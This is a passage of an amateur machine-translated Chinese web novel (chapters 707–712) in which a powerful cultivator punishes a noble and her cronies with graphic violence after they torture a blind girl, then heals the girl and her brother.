    But the chief clerk didn''t know when he had already arrived in front of him, and kicked him to the ground with one foot, and then stepped on his face.


    "Boy Chen, blame you for not having that blessing!"


    At this time, Xia had already approached Chen Xiaomei The expression on her face was a bit disgusting, but more excited.


    "Little girl, don''t be afraid! It won''t hurt too much!"


    The voice just fell.


    A girl''s scream spread throughout the shanty town.


    Then it was Chen Atu''s extremely angry roar, "Let go of my little girl! Ahhhhh!"


    The scream in the back was that Xia thought Chen Atu''s shout was too annoying. With a look in his eyes, the butcher stepped forward with a grinning smile, and pierced Chen Atu''s palm with a knife and nailed it to the ground.


    Chen Atu twisted his whole body in pain, but the chief slammed on his head, then took out his pipe in time and took a deep breath after lighting it.


    "Chen kid, take your time! This lady is a patient artist even in the city! Blood is her paintbrush, and screaming is the source of her creation! What a pleasing picture! "


    The chief''s words were full of praise, but Chen Atu''s eyes had turned blood red.

 Chapter 707： Since its here, dont you come in yet?

    Because from his perspective, you can clearly see that Xia is doing something to the little girl with excitement, every time her arm moves, blood will splash out, and some even splash on Xia''s face.


    Even so, Xia''s excitement could not be stopped.


    But then the little girl trembles with pain, but she bit her mouth and stopped making a sound.


    "You humble mutant, why didn''t you scream? Huh? Why?" Chen Xiaomei''s attitude angered Xia, and she couldn''t help getting angry, and then smiled cruelly: "Don''t worry, the night is still long, I will be slow Slowly concoct your brothers and sisters!"


    With that, she moved faster and faster, and the sound of skin and flesh being separated by the blade made people a little creepy.


    The chief and the butcher admired all this with admiration, Yao Xiaofei''s complexion became a little pale, and then quietly walked into the back room.


    With a bang.


    Chen Atu''s teeth were crushed by himself, and blood flowed down the corners of his mouth.


    Because he could see his sister''s hands gripping the table tightly, a deep dent had already been pinched out.


    It can be seen how painful this is.


    But even so, she still didn''t say a word.


    Chen Atu roared like an angry lion, trying to get rid of the foot that the long stomped on, but in exchange for another stabbing by the butcher.


    puff!


    Blood splashed.


    Chen Atu snorted.


    Upon hearing this, Chen Xiaomei raised a pair of gray eyes, followed the voice and looked in the direction of Atu, and then shook her head gently.


    There were blood and tears in Chen Atu''s eyes, he understood.


    This is my sister telling him not to move.


    At this moment, Yao Xiaofei walked out of the back room extremely excited, carrying the large bundle of mineral water that Xue An gave Chen Atu in his hand.


    "Masters, this is what I call the top pure water without the slightest radiation!"


    Everyone turned to look.


    Even Xia stopped the "creation!"


    These water bottles gleamed with breathtaking light under the dim light, and everyone''s breathing stopped a bit.


    When he took the mineral water bottle and took a closer look, Xia couldn''t help but be stunned.


    At the beginning, she didn''t believe that there would really be any top pure water.


    In her opinion, people in these small places have never seen the world, and they are most likely to regard some high-grade water as top pure water.


    Unexpectedly, there is actually such a crystal clear top water.


    To be honest, she has never seen such clean water without any radiation.


    As for the chief, the butcher and others, they all looked stupid.


    After a while, this Miss Xia gradually awoke from her astonishment, and then a ecstasy appeared on her face.


    If you can offer such top-level water, it is estimated that you will get more family favors.


    Thinking of this, she smiled at brother Chen Atu and raised the water bottle in her hand.


    "You use this precious water to cleanse your sister''s wounds?"


    With that said, before Chen Atu''s reaction, Xia hit a backhand.


    Chen Xiaomei snorted in pain.


    "Haha! What a violent thing, this kind of water, even I don''t want to drink more, you actually cleaned the wound of a humble mutant?" Xiya said with a grin.


    Chen Atu felt angrily attacking his heart, so he spit out a mouthful of blood, and then said in a nearly pleading tone: "Kill me, let her go!"


    "It''s a touching brother-sister relationship! But none of you can run away, including those who give you water, the same!"


    Xia chuckled grinningly, turned around to block Chen Atu''s sight, and began to continue her "creation".


    Next, a low roar of a beast that seemed to be forced into desperation shocked many people in the shanty town.


    This low growl is like weeping blood, which makes people unbearable to listen.


    Some people poked their heads and quietly looked at the place where the Chen brothers and sisters lived.


    But when they saw the carriage parked at the door, they all retracted their heads in horror and dared not show up again.


    Here, those who can get on the carriage are all real big shots.


    The deathly silence in the entire shantytown, it seemed that the night could not bear to see the cruel scene, and quietly disappeared.


    The chief sent a housekeeper, quietly left the shanty town, came to the tavern, and handed Feng Fatty a very simple letter.


    Soon, the tavern began to become restless.


    At the same time, in the room on the third floor of the pub.


    Xue An is teaching two little girls some very simple spells.


    I saw Xue An folded a paper crane with paper, and then gave a light breath, the paper crane spread its wings and flew in the air.


    "Wow, fun and fun! Dad, I want to learn this!" the two little girls said with bright eyes.


    Xue An smiled, "Okay! Dad teaches you, but you must learn to origami first!"


    "Hmm!"


    Then Xue An began to teach his two daughters how to make origami. After the folding was done, he taught them to breathe and draw some simple talisman seals.


    An Yan watched this scene with a smile.


    quickly.


    Thinking about it, he folded a paper crane, folded his hands together, closed his eyes and muttered a word, then suddenly opened his eyes, and breathed out at the paper crane.


    puff!


    The paper crane trembled slightly, then shook its wings and flew with some difficulty.


    Although it was a bit difficult to take off, it would look different after it took off.


    See this scene.


    The thought of folding the paper with a sad face can''t help but feel a little anxious, so I just folded the paper crane three times and divided by two, and then I learned something, and closed my eyes and muttered to the paper crane I folded. Fan, then let out a sigh of relief.


    But after a full minute.


    The paper crane remained motionless.


    This time I couldn''t help but feel a little dumbfounded, and fiddled with the wings of the paper crane, "Oh, you are flying!"


    But no matter how she fiddled with it, the paper crane lay there motionless.


    In the end, Nian Nian became a little discouraged, her mouth slumped, and she said very aggrieved: "Huh, what''s so great about flying without flying? I''ll throw you into the stove in a while."


    As soon as the voice fell, the paper crane immediately began to flap its wings, and then flew crookedly.


    It''s just that this paper crane was messy, so it flew crookedly, causing Xue Xiang to laugh.


    "Fun Niannian, your stack is not paper cranes, but flies!"


    Xue An and An Yan couldn''t help laughing at this scene Now the two daughters are growing up, but their personalities are becoming more and more different.


    Sister Xue thinks that she never suffers from sharp teeth, and she is very smart.


    The younger sister Xue Nian is honest and greedy, but she is a little clumsy when she does things.


    For example, now, when she heard her sister mocking herself again, Xue Nian flushed with anger, but couldn''t say anything to refute.


    At this time, the paper crane finally fell down.


    Xue wanted to step forward and pick it up, then smiled and said, "Come on, I will teach you how to stack it!"


    Xue Nian turned his anger into joy and nodded, "Hmm!"


    Then he learned very seriously.


    Xue An, who had been smiling and watching this scene, suddenly felt something, then looked out the door and said lightly: "Since I''m here, why don''t you come in?"

 Chapter 708： Fair trade

    Following the voice, there was a soft voice from outside the door, and then the door was pushed open, and a woman with a revealing body and graceful figure walked in.


    It was the dancing girl.


    Xue quietly sat on the chair and looked at her without any expression.


    However, the dancer was first surprised when she came in.


    Because she saw An Yan and two little girls sitting aside.


    The stunning appearance of the mother and daughter shocked her.


    After a while, she recovered and looked at Xue An on the side.


    "Second-order samurai, you can actually see through my concealment, your strength is really good."


    This dancing girl just sneaked out of the shadows, but she was surprised by Xue An''s words.


    Xue An only smiled faintly when he heard this. Although he was disturbed by the radiation from the surrounding environment, Xue An''s spiritual thoughts were enough to cover the small building.


    So when the dancer first appeared near the small building, he already knew.


    But after seeing Xue An''s smile, the dancer felt a little uncomfortable in her heart, and then sneered: "But you know that even if your strength is good, you are about to face disaster."


    In the eyes of the dancer, if she said so, this second-order warrior would definitely be disgraced.


    Unexpectedly, Xue An only raised his eyebrows slightly, and then a faint smile appeared at the corner of his mouth.


    "Oh? Really? So you know how to tell a fortune!"


    Although I don''t know what fortune telling is, I can tell by seeing Xue An''s slightly joking smile. It shouldn''t be a good thing.


    The dancer pressed her anger in her heart, and said coldly: "I don''t know why you are so confident, but if you think you can rampage Heshan Town with the strength of this second-order warrior, then you are wrong! "


    "Let''s just tell you, the fact that you gave the top-quality pure water to the brother and sister in the shantytown has been known by the chief and others, and it is estimated that they are coming here now!"


    Xue An''s eyes grew cold when he heard the words.


    He thought about this when he gave Chen Atu something, but because he felt that Chen Atu had been able to hide awkwardly since he was a child, he should be able to hide himself, but he didn''t expect to be discovered so quickly.


    "What''s more, you still have such a beautiful family. If you are seen by the chief and butchers, the consequences can be imagined!"


    After listening, Xue An leaned back on the chair and looked at the dancer in time, "I''m very strange, why are you here to inform me?"


    A look of greed flashed in the dancer��s eyes, ��I��ve seen it carefully. You didn��t carry much with you, but you gave the brothers and sisters a lot of pure water. Then the question is, what are you doing with these things? What are you carrying?"


    "So... I guess you must have a baby that can store a lot of things with you!"


    Xue An fiddled with his fingers, didn''t even lift his head, just said lightly: "So what?"


    "It''s very simple, you hand over this thing, I can send you away now!"


    Xue An raised his eyes and glanced at the dancing girl, "Send us away?"


    The dancer nodded, "I know a secret path, you can leave Heshan Town safely!"


    Xue An looked at the dancing girl with a smile but didn''t say anything.


    "I know you must be reluctant to bear it, but this is your only chance, because this time not only the chief but also the butcher, but also an aristocrat from the city, the strength of your second-order warrior is fundamental to them. Not enough!"


    "And this is a very fair deal. You hand over your things and I will keep your family safe! You must know that although resources are precious, without life, everything is vain."


    Xue An nodded, "It sounds reasonable, but you seem to be late!"


    The dancer was startled, "Huh?"


    Xue An turned his head to look at the window made of crystal, and said lightly: "People have already come!"


    The dancer''s complexion changed, she also heard the sound of footsteps in the distance, and she couldn''t help gritting her teeth, "Follow me now, there is still a glimmer of life!"


    Xue An shook his head and smiled faintly, "Sorry, I''m a stingy person, so not only do I want to keep things, but I don''t intend to give them my life!"


    The dancer wanted to say something, but the sound of footsteps outside was getting closer, she couldn''t help stomping her foot, and said with a gloomy face: "I don''t know how high the sky is!"


    Then he jumped and disappeared into the darkness in the corner.


    She just disappeared.


    The wooden wall shattered with a bang.


    Afterwards, Feng Fatty walked in like a moving Roshan, Shi Shiran.


    Following him were the arrogant Li Chang and the butcher with a grinning face.


    These people rushed into the room, and before they could speak, they were all stunned.


    Because they found that Xue An was not the only person in the house, there was also an extra woman.


    An extremely beautiful woman.


    These people have lived for so many years and have never seen such a woman with such an elegant temperament and peerless face.


    And beside the woman, there are two little girls who are carved and jade.


    Looks like this woman is a mother and daughter.


    The three girls stand together, forming a beautiful picture.


    These guys can''t help but look stupid.


    Until a moment later, the group of people looked at each other, and then all showed excitement and greed.


    "Tsk tusk, I really didn''t expect this second-order samurai adult to still carry his family with him!" The butcher said in a weird manner.


    The chief simply took a step forward and said in an arrogant tone: "Second-order samurai, hand over all your resources, and then..."


    He pointed to An Yan and others, "Leave this woman behind, I can let you leave Heshan Town alive!"


    Xue An ignored him at all, sighed lightly, then turned to look at An Yan who was aside.


    "Yan''er, have I been too low-key lately? How else would I dare to show off everything in front of me?"


    Hearing these words, the expressions of this name and Feng Fatzi and others were all very dark.


    The chief sneered just waiting to speak.


    A slightly excited female voice came over, "Are they actually twins? Hee hee, my favorite is the twins, they will become my best collection!"


    With that, Shia walked in, wearing that long blood-stained dress with a little blood on her face.


    Behind her, two servants were holding a parcel each.


    The chief, Feng Fatty and others stepped aside.


    "Miss!"


    This Xia stared at Xue An, licked her lips, and then smiled.


    "Are you the samurai who bestowed the highest level of pure water on the untouchables?"


    Xue An''s face sank like water.


    This Xia laughed nervously, "Hehehehe, very good, another hard bone who doesn''t speak! I haven''t had such a good time for a long time. I have to say that these two untouchables have an appetite for me! Come down, please enjoy my work first!"

 Chapter 709： Listen quietly, listen to these people who hurt you...

    The two servants put the package on the ground and then opened it.


    An Yan glanced at it, and frowned, then put her two daughters in her arms, not allowing them to look.


    And Xue An quietly watched the two people on the ground.


    The girl who had a terrifying face but was gentle and affectionate at the moment seemed like a rag doll that was broken to pieces and then stitched up little by little.


    Those eyes that were once grey but very beautiful can no longer be opened at this moment.


    The expression on his face was the kind of calm after experiencing countless pains.


    Lying beside her was Chen Atu.


    But at this moment, Chen Atu, covered in blood and blood, lying there quietly, his eyes empty and terrifying.


    "Hehe, what I like most is the artwork made with this untouchable woman! Although she didn''t make a scream during the whole process, but when I tore her up a little bit and then stitched it up again, she was uncontrollable The trembling is really exciting!"


    "What''s more, her brother was on the sidelines and witnessed the whole process. It really makes people want to **** after thinking about it!"


    This Xia babbled, then looked at Xue An, "Now, hand over all your resources and tell me where you got the pure water! In this case, I might be able to..."


    The sound stopped abruptly.


    Because at this moment, Xue An slowly raised his head, and the light in his eyes was shining, and a powerful and incomparable might enveloped the audience.


    At the same time, the entire Heshan Town, and even the entire South Mine Wilderness, shivered under this power.


    Those monsters that used to be powerful and incomparable are all creeping on the ground, not even daring to move.


    That''s the case outside, let alone in this room.


    Whether it was the noble lady Xia, the little chief, or Feng Fatty Butcher and others, they all looked at Xue An in horror at this moment.


    Until then, these people understood what Xue An just said if he was too low-key.


    "How...how could it be possible!" The most frightening of these was the noble lady Xia.


    She has seen many powerful men in the city, many of them are powerful warriors of Tier 4 but Tier 5.


    But no matter who it is, it is impossible to have such a powerful power.


    This has even exceeded her imagination.


    At this time, Xue An slowly stood up and waved his hand to shield An Yan and his two daughters from their spiritual consciousness.


    Then he walked slowly to Chen Atu''s brother and sister, leaned down gently, and looked at the girl quietly.


    Little Sister Chen, who was originally looking dumb, suddenly trembled, and a strange expression gradually appeared on her face, then her lips lightly opened and said in a very weak voice.


    "Is it...sir?"


    Xue An gave a low hmm.


    Chen Xiaomei wanted to laugh, but the corners of her mouth had been sewn with thread, and she could only show a weird smile. Even so, blood began to leak from the sewed wounds.


    "Don''t speak, listen quietly, listen to how these people who hurt you screamed for a while!" Xue An said lightly.


    Then he stood up straight and looked around the audience.


    Xia, who was still clamoring just now, was swept by Xue An''s icy vision, she involuntarily stepped back, with a look of horror on her face.


    The guards behind her screamed and wanted to rush up.


    But just after taking a step, these guards turned into nothingness.


    That''s right.


    Without any signs, the whole person instantly turned into air.


    Seeing such a strange and terrifying scene, everyone in the room looked pale.


    "This... this lord, there is something to discuss, I... we really don''t know that you have such a powerful strength, please..."


    Before the long words were finished, his whole person was already floating in the air, and then as if being rubbed by an invisible giant hand, the bones and hair all over his body made a crackling sound.


    "Ah ah ah ah ah ah ah!"


    This once aloof town chief made a terrible cry of pain at this moment.


    Because just that time, all the bones in his body have been broken.


    Under such screams, the butcher and Feng Fatzi who were closest to the door turned their heads and wanted to run.


    At this moment, their hearts are completely occupied by fear.


    Because Xue An''s strength is simply terrifying.


    The chief was also a quasi-second-order master at any rate, but he was crushed to pieces without the strength to fight back.


    Faced with such a strong man, they once arrogant and domineering now only want to find a mouse hole to hide, and hide as far as possible.


    But as soon as they turned around, before they could take their legs, they floated into the air under the control of Xue An''s spirit.


    "No... Lord, please forgive me!"


    He has always claimed that he is a tough butcher who is not afraid of life and death, but at this moment, he is so scared that his nose and tears have come out, crying loudly for mercy.


    But in the face of all this, Xue An didn''t even blink his eyelids.


    In the next second, the butcher''s upper body and lower body began to twist in opposite directions at the same time.


    Click, click.


    There was a burst of spine crackling, and the butcher vomited blood and howled with a hairy voice.


    But all this couldn''t stop the body from being twisted, and finally, with a pop.


    The butcher''s body was twisted into two parts from the middle, and blood and organs were spilled on the ground.


    But even so, he was not dead yet, still struggling painfully in mid-air, and grabbed his lower body with his hand, trying to get it back.


    Such a tragic scene scared the Fatty Feng to the side to urinate.


    When Xue An looked at him, he yelled frantically: "I am not involved in this matter, please don''t kill..."


    Before the words fell, the space around him suddenly began to compress.


    Fatty Feng, who looked like a meat mountain, was instantly crushed into a ball.


    "Ahhhhh, please, my lord, I know I was wrong, I..."


    boom.


    There was a loud noise.


    Under the unstoppable force, Fatty Feng''s whole body was squeezed out of fat Fatty oil mixed with blood spilled on the ground, while Fatty Feng was floating in the air dying, still whispering. beg for mercy.


    In an instant.


    The chief and the others, who had just returned to their arrogance, all fell into an extremely miserable situation.


    Moreover, the cruelty of the methods made Xia, who was extremely fond of blood and killing, tremble all over.


    As for the chieftain and Feng Fatty''s subordinates, they were so scared to fight with their legs at this moment, they didn''t even dare to raise their heads.


    At this time, Xue An turned his head to look at Xia, and said in a calm tone: "You...seem to be scared?"


    Xia trembled all over, and couldn''t help stepping back a few steps, just about to say something.


    Xue An waved his hand, "Don''t you like to use killing and blood to make art?"


    Then Xue Ansen smiled, "Now, it''s your turn to become a work of art!"

 Chapter 710： Surviving

    "No...you can''t do this to me, I''m the eldest lady of the Cheng family, you can''t hurt me..." Cheng Xiya stepped back in horror.


    But just after a few steps back, she was restrained by an invisible force and floated into the air.


    "Ahhhh, if you dare to kill me, you will never let you go when you get married!" Cheng Xiya yelled in fright.


    Xue An said lightly: "Who said I was going to kill you?"


    "Huh?" Cheng Xiya was startled, and then there was joy on her face.


    But soon, her joy was solidified by Xue An''s words.


    "I just want you to feel the pain you inflict on others."


    Cheng Xiya felt that her muscles were stiff, "You..."


    Xue An''s eyes were shining brightly, and the mighty divine mind smashed Cheng Xiya''s defense line like a ruin.


    Cheng Xiya''s eyes instantly became confused and hollow.


    And Xue An also saw those cruel and **** pictures from her memory at this moment, and couldn''t help snorting coldly.


    "There is more to die!"


    After that, Xue An directly placed Cheng Xiya''s soul in her own memory, but made him the victim.


    In an instant.


    This Cheng Xia howled in extreme pain.


    At the same time, blood stains began to appear on her body, just like someone was cutting her body with a knife.


    Next, every type of torture she ever used to Chen Xiaomei was shown on her own body.


    "Kill me! I can''t stand it!!! Ahhhhh!" Cheng Xiya was about to collapse.


    That kind of deep bone pain made her wish to die now.


    Xue An ignored her at all. Instead, he lowered his head and looked at Xiaomei Chen, and said calmly: "Did you hear it? The person who hurt you is suffering the same pain as you!"


    Chen Xiaomei did not speak, but a few tears flowed down the corner of her eyes.


    "Please let me go! Please!" Cheng Xiya trembled and began to beg for mercy.


    At this moment, she was covered with bruises, her eyes closed very strangely, and the corners of her mouth opened to the sides, as if it had been stitched together by something.


    Xue An shook his head, and said coldly: "When you act recklessly against a girl who has no ability to resist, you should be prepared to bear the same price. It''s not that I won''t let you go. It''s all you. I found it myself."


    Cheng Xiya was completely desperate, and at the same time, the joints all over her body began to shatter a little bit.


    It was as if an invisible giant was hitting her bones with a small hammer little by little.


    Every time she shivered and screamed.


    at last.


    Cheng Xiya''s bones were broken, and her whole body was floating in the air in a very twisted posture.


    But her expression became dull, her eyes hollowed out, as if she had become a walking dead.


    It was her spirit that couldn''t bear such a huge pain, and she broke down directly.


    As a result, a strange scene appeared in the midair of this room.


    The chief butcher Feng Fatzi and the noble lady Cheng Xiya were all floating quietly, some were dead, some were dying.


    The subordinates who had followed Li Chang and Fatty Feng got together and looked at them with trembling.


    When Xue An looked at them, these people almost burst into tears.


    "Big... Your lord spare my life!"


    Xue An sighed slightly, "It stands to reason that you should be spared if you kill a few first evils!"


    These people breathed a sigh of relief.


    "But I''m in a bad mood today! So you also go to the funeral together!"


    Following the voice, a ray of sword light swept across the group of people instantly like a horse.


    Puff puff.


    Head down.


    The dead body fell down.


    Xue An looked at the bodies of these people with no sadness or joy on his face.


    Sometimes the first evil is hateful, but these helpers should also be killed.


    Xue An can be sure that the hands of these people are also stained with innocent blood.


    At this moment, Xue An turned his head, looked at the shadow of the corner, and said lightly: "I saw a good show, what do you think?"


    The shadow trembled, and then a woman with a pale face appeared.


    It was the dancer just now.


    At this moment, her heart is completely occupied by fear and fear.


    Only then did she understand how ridiculous her so-called transaction just now was.


    This man who looked like a **** and a demon was so terrible that even Fatty Feng and others paid the price of their lives without even doing anything.


    And he just wanted to extract resources from him.


    I really don''t know how to write dead words.


    Xue An looked at the dancer with a fluctuating expression and shook his head slightly, "Don''t be afraid, I am not going to kill you!"


    The dancer swallowed hard, "Much...thank you, sir!"


    She wanted to escape just now.


    But under the influence of Xue An, all her escape methods failed, so she could only hide and shiver in the shadow of the corner.


    "Do you know why I didn''t kill you?"


    The dancer dared not make a sound, but shook her head.


    "Because although you are greedy, you at least understand the principle of equivalent exchange, instead of like this group of people, who are greedy and at the same time bullying the weak for pleasure."


    At this time, the crushed head finally swallowed his last breath, and died at the same time as the butcher whose body was broken.


    Only this Fatty Feng is still lingering.


    It may be because of being too fat, but he is the one who lived the longest among the three.


    But at this moment, the lamp has run out, and it is dying.


    But when he saw the dancing girl, his eyes lit up slightly and opened his mouth, wanting to ask for help.


    Xue An waved his hand at this moment. Except for Cheng Xiya, a ray of fire appeared on his body, whether it was dead or not.


    In an instant, these fire lights swallowed all these corpses and people.


    Fatty Feng finally screamed a few times before being burned into nothingness.


    The room became empty.


    The dancer couldn''t even speak, and she was completely wet with cold sweat.


    "This dirty world is really boring!"


    Xue An sighed, then looked at Cheng Xiya who was floating in midair.


    "Since you like to make others into art, I will make you the most unique kind."


    With that, Xue Anxin pointed his hand.


    Cheng Xiya trembled violently, and then drops of blood separated from her body.


    in a blink.


    The blood of Cheng Xiya was drained, forming a big basketball ball in mid-air.


    As for Cheng Xiya, she was naturally dead.


    It''s just that the corpse has become like a specimen.


    Even the expression on his face is a bit lifelike.


    Seeing this scene, the dancer almost screamed, and then quickly blocked her mouth, afraid to make the slightest noise.


    Then Xue Ancai said.


    "Know her?"

 Chapter 711： Divine Soul

    The dancing girl trembled, and after a while she gradually woke up, and then hurriedly nodded, "Yes! The married lady of Dark Iron City!"


    Xue An nodded, "Very good! Then you can send her back to her family!"


    The dancing girl''s eyes gradually widened.


    "Big...sir."


    "Didn''t I understand what I said?"


    "Ming... understand! But..."


    "But what?"


    "This family is a powerful and powerful in the Dark Iron City. Although this Cheng Xia is not too favored, she is also the eldest daughter of the direct line after all. If she is sent back like this..."


    Xue An shook his head, "This is a warning. If they don''t understand, then they can only use blood to teach them."


    "Yes...Yes!" The dancer secretly breathed a sigh of relief, anyway, her fortune was saved.


    As for the other things, she would be finished with a reminder. If this person does not listen, it is his own business.


    Soon, the dancer carried the specimen Cheng Xia on her back, and she didn''t dare to say anything, she turned and fled into the darkness.


    Xue quietly looked at her leaving back, a cold killing intent flashed in his eyes.


    Xue An turned around and walked up to the Chen brothers and sisters and glanced at the two men who were terrible.


    Then take out two bottles of powerful Heavenly Fate Potion from the mustard ring.


    This was personally refined by Xue An when he left the earth, and the effect was very powerful.


    When the concentrated medicine dripped into Chen Xiaomei''s mouth.


    The wounds all over Chen Xiaomei began to heal frantically, and even the mutated tissues on her face began to recede.


    The sewed eyes and corners of the mouth returned to normal in an instant.


    In an instant, Chen Xiaomei opened her eyes, and the fog in those gray eyes was gradually dissipating.


    Xue An couldn''t help being surprised when he saw this.


    Because this little sister Chen was surprisingly beautiful after she returned to normal.


    Especially the pair of cut water pupils, you can almost see the figure.


    And Chen Xiaomei was also stunned.


    After a while, the whole person began to tremble, "I... I saw it?"


    Xue An smiled slightly and nodded, "Yes! Your eyes can see it!"


    Chen Xiaomei looked at Xue An, her eyes gradually filled with tears, and then she got up with difficulty, "Big...sir..."


    Xue An waved his hand and said softly: "I saved you only because of your tenacity! The person who hurt you didn''t even survive half of the punishment and broke down, but you can stay awake at the end. One thing, I appreciate it."


    Chen Xiaomei nodded tearfully, but her eyes stopped on Chen Atu who was aside.


    "Sir, my brother..."


    Xue An handed her another bottle of Tianyuan, "Go, feed him!"


    Chen Xiaomei didn''t know what this was, but she also understood that this should be the potion that saved her, she couldn''t help but cherish it and took it, then gently hugged her brother''s head and poured it into Chen Atu''s mouth.


    Chen Atu''s bones had been knocked to pieces. If there were no accidents, he would spend the rest of his life in bed.


    But under the action of this Heavenly Fate Potion, it miraculously began to heal quickly.


    Soon, Chen Atu''s injuries healed.


    Even the dark wounds he had suffered before have recovered.


    But even so, Chen Atu''s eyes were still extremely hollow, as if this person had no soul, and had no reaction to external things.


    "Brother, what''s the matter with you? You wake up! Your lord saved us!" Chen Xiaomei was terrified by this scene, she cried out in tears, choked up.


    But no matter how she called, Chen Atu still did not respond.


    "Big...sir, what happened to my brother?" Chen Xiaomei asked with tears on her face.


    A flash of light flashed in Xue An''s eyes, and the spirit of thought had entered Chen Atu''s sea of ??knowledge.


    Empty in this sea of ??consciousness, this Chen Atu''s soul has become fragments.


    At the same time, Xue An could not help sighing when he saw some memory fragments in the sea of ??knowledge.


    Chen Atu witnessed the whole process when Cheng Xiya abused Chen Xiaomei.


    One can imagine how angry he should have been.


    But under the suppression of the chief and the butcher and others, he could only watch and couldn''t make any response.


    This blow directly destroyed him.


    Even his soul collapsed for it.


    Xue An tried to help Chen Atu gather his spirits with his own spirit.


    But after several attempts, all failed.


    In desperation, he withdrew from the sea of ??knowledge, and then shook his head slightly at Xiaomei Chen.


    "He can''t bear the blow, he''s already broken!"


    "Then...what should I do?" Chen Xiaomei asked tremblingly.


    "Once the soul is broken, it will be difficult to recover. I just tried to help him gather, but he seems to have no desire to survive, so he all failed."


    "My lord, please save my brother! As long as you can save my brother, you can do anything you want me to do!" Chen Xiaomei plopped and knelt on the ground, said with tears on her face.


    Xue An waved his hand, "Get up! In his current situation, there is only one way to save him!"


    Chen Xiaomei''s eyes lit up, "My lord, what can I do?"


    "It''s very simple, arouse his desire to survive and let him wake up by himself!"


    After a while.


    An Yan, who had been unblocked, walked over and sighed as she looked at Chen Xiaomei, who was sitting on the ground and whispering while holding her brother''s head.


    Xue An mainly blocked his two daughters, so An Yan can actually feel everything that just happened.


    The two hard-working brothers and sisters made An Yan a little distressed.


    "Husband, can this boy wake up?"


    Xue An shook his head, "It depends on him! If he can arouse his desire to live and overcome the shadow, then he may still wake up."


    Although thinking and Niannian didn''t know what happened, they stood by and watched Chen Xiaomei, who was crying and whispering in her brother''s ear.


    "Brother, do you remember what you told me after your parents died?"


    "You said that I will live a good life without being bullied!"


    "But you were only eight or nine years old at the time!"


    "In the past few years, I know how much you have suffered for me, and how your talent for swordsmanship awakened, I also know!"


    "Later I gradually lost sight of things!"


    "You feel very guilty about this, and you start to go hunting in the wilderness regardless of everything. Sometimes you come back. Although you smile and say that you are okay, I can smell the blood on you."


    "I know, it was you who got hurt again!"


    "BrotherI know all this!"


    "I have thought about death more than once, but I am afraid that I am dead, you can''t bear this blow!"


    "But why, why... now your lord has saved us, but you refuse to wake up?"


    "You bastard, wake up!"


    "Please, brother, will you wake up? Now I can see it again, and the wound on my face is healed. You wake up and take a look at me, okay?"


    As Chen Xiaomei said, tears dripped.


    But Chen Atu still did not respond.


    Chen Xiaomei finally couldn''t help it, and started to cry.


    "Brother, I beg you to wake up!"


    Tears dripped on Chen Atu''s face, and a ray of light suddenly flashed through his hollow eyes.

 Chapter 712： Black iron

    Seeing this scene, Chen Xiaomei covered her mouth, tears streaming down her face with excitement.


    The brilliance in Chen Atu''s eyes gradually became stronger.


    Suddenly.


    Chen Atu leaped up from the ground and roared with a sullen face: "Dare to hurt my sister, I will fight you!"


    With that, a powerful blade light appeared out of thin air and directly cut off half of the wall.


    Then Chen Atu shook a few times and fainted to the ground again.


    "My lord, what happened to my brother? Why did he faint again?" Chen Xiaomei rushed forward to hug the fainted Chen Atu, and asked eagerly.


    Xue An chuckled and said, "Your brother did nothing. On the contrary, he was a blessing in disguise, and he opened up a more powerful talent for swordsmanship. However, he was unable to control this power for the time being, causing him to use too much force and fainted. "


    Hearing Xue An''s words, Chen Xiaomei was a little relieved, but she still guarded Chen Atu with a worried look.


    After a while, Chen Atu woke up again.


    Only this time he was no longer as excited as he was just now, but looked at Chen Xiaomei blankly.


    "Brother, are you awake?" Chen Xiaomei said excitedly.


    "Little...little sister? Why are you...." Chen Atu knew nothing about what had just happened.


    The last picture he remembered was that he watched his sister being cruelly abused, spit out a mouthful of blood in anger, and then fainted.


    Unexpectedly, when I woke up again, I saw the little girl standing in front of me alive and well.


    Not only that, but the wounds on her eyes and face have healed.


    How can this not surprise Chen Atu?


    After Chen Xiaomei told Chen Atu what happened, Chen Atu knelt in front of Xue An without hesitation, and banged his head.


    "My lord, your great kindness, Chen Atu, must be engraved in my heart and will never be forgotten!"


    Xue An said lightly: "It is not me who saved you, but your sister and yourself."


    Chen Atu shook his head, "If there is no adult to help, my little sister and I will have been dead for a long time!"


    Chen Xiaomei also knelt aside, "My brother is right, if there were no adults, our brother and sister would have died."


    Xue An smiled, then turned to look out the window, and said softly: "Get up!"


    The Chen brother and sister looked at each other, then stood up and stood aside respectfully.


    "Do you feel any changes in yourself?" Xue An said to Chen Atu.


    Chen Atu was startled, and when he felt it carefully, a look of surprise gradually appeared on his face.


    "My lord, this is..."


    Chen Xiaomei smiled and said, "Brother, the lord said that you got a blessing in disguise and opened up a more powerful talent!"


    Chen Atu''s noodles showed ecstasy.


    He once dreamed of becoming a first-order warrior, but who would have thought of waking up to become a second-order warrior.


    Xue An smiled upon seeing this, "You have a good talent. Next, I can help you again!"


    "Thank you, sir!"


    Soon, there was an uproar in this town of Heshan.


    Because the chief butcher and Fatty Feng in the tavern are dead.


    You know, these are the top figures in Heshan Town.


    Now that they die together, everyone is naturally terrified, not knowing what the sacred is doing.


    Then another news spread.


    It was an adult samurai who passed by.


    And it should be a senior warrior of Tier 4 or Tier 5.


    This news immediately caused a sensation throughout Heshan Town.


    You know, many people here have never seen a second-order warrior in their entire lives.


    Now suddenly there appeared a senior warrior of rank four and five.


    Naturally, many people are curious.


    But curious, curious, no one dared to approach.


    Because many people in Heshan Town know it.


    Killing Li Chang, Feng Fatty and others is nothing.


    But this high-ranking samurai even killed an aristocratic lady in Dark Iron City.


    This matter will certainly not let it go easily.


    Therefore, everyone in the town stayed away from Xue An and others.


    Xue An just smiled at this and didn''t take it seriously.


    Just when Heshan Town was making a lot of noise about this matter.


    A city stands more than two hundred kilometers away from Heshan Town.


    A whole body of black and black, the city walls are built with huge black iron ore.


    This is the only huge city within a thousand miles.


    Dark Iron City.


    To the west in the center of Dark Iron City, there is a huge house.


    People passing by here will quicken their pace and pass by.


    Because this is the place where a tyrant gets a family in Dark Iron City.


    At dawn.


    The married man yawned and prepared to open the door.


    This is their daily job.


    But today, their work has more surprises.


    Because when they opened the door, a human-shaped object was hanging on the door frame.


    Because of the opening of the door, the humanoid object began to sway, and then slowly turned his face.


    These couples were so scared that they almost peeed their pants.


    Isn''t this humanoid object the same as Miss Cheng Xi Ya Cheng who left Dark Iron City some time ago to patrol outside?


    It''s just that Cheng Xiya at this moment, without the arrogance and arrogance of the past, the expression on her face is also frozen, and there is a trace of panic in her eyes.


    The skin and flesh of her body seemed to have lost moisture, clinging to the bones.


    Just like... a specimen after dehydration and drying.


    "Come...someone! Something happened!"


